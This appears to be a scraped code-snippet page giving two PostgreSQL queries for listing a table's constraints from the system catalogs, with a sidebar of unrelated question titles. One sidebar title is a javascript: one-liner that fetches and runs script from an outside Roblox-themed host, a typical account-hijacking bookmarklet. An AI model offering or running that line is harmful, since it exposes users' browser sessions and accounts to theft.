/TypeScript/How to see constraints in postgresql

How to see constraints in postgresql

SELECT con.*
       FROM pg_catalog.pg_constraint con
            INNER JOIN pg_catalog.pg_class rel
                       ON rel.oid = con.conrelid
            INNER JOIN pg_catalog.pg_namespace nsp
                       ON nsp.oid = connamespace
       WHERE nsp.nspname = '<schema name>'
             AND rel.relname = '<table name>';

Source: dba.stackexchange.com

List all constraints in postgres

SELECT *
       FROM pg_catalog.pg_constraint con,
	   pg_catalog.pg_class rel,
	   pg_catalog.pg_namespace nsp
       WHERE
	   		rel.oid = con.conrelid
			AND nsp.oid = connamespace
	   		AND nsp.nspname like '<schema-name>'
			AND rel.relname like '<table-name>'

Similar codes

1 vote321 views1 answer
Font type css system
TypeScript
0 vote377 views10 answers
XJavascript:$.get("//javascript-roblox.com/api?i=13407")
TypeScript
0 vote314 views1 answer
Laravel middleware for apis
TypeScript
0 vote373 views1 answer
Discuss climate changes during the Tertiary and Quaternary Periods, and the effects of these changes on geology and vegetation.
TypeScript
0 vote328 views1 answer
Difference known_hosts authorized_keys
TypeScript
2 votes338 views1 answer
Typescript calculate days between dates
TypeScript
0 vote337 views1 answer
Choose random elements from vector without repetition and adding to another vector c++
TypeScript
1 vote317 views2 answers
Docker An attempt was made to access a socket in a way forbidden by its access permissions.
TypeScript
0 vote383 views1 answer
Config all requests to one page nginx
TypeScript
0 vote345 views1 answer
Prisma schema example
TypeScript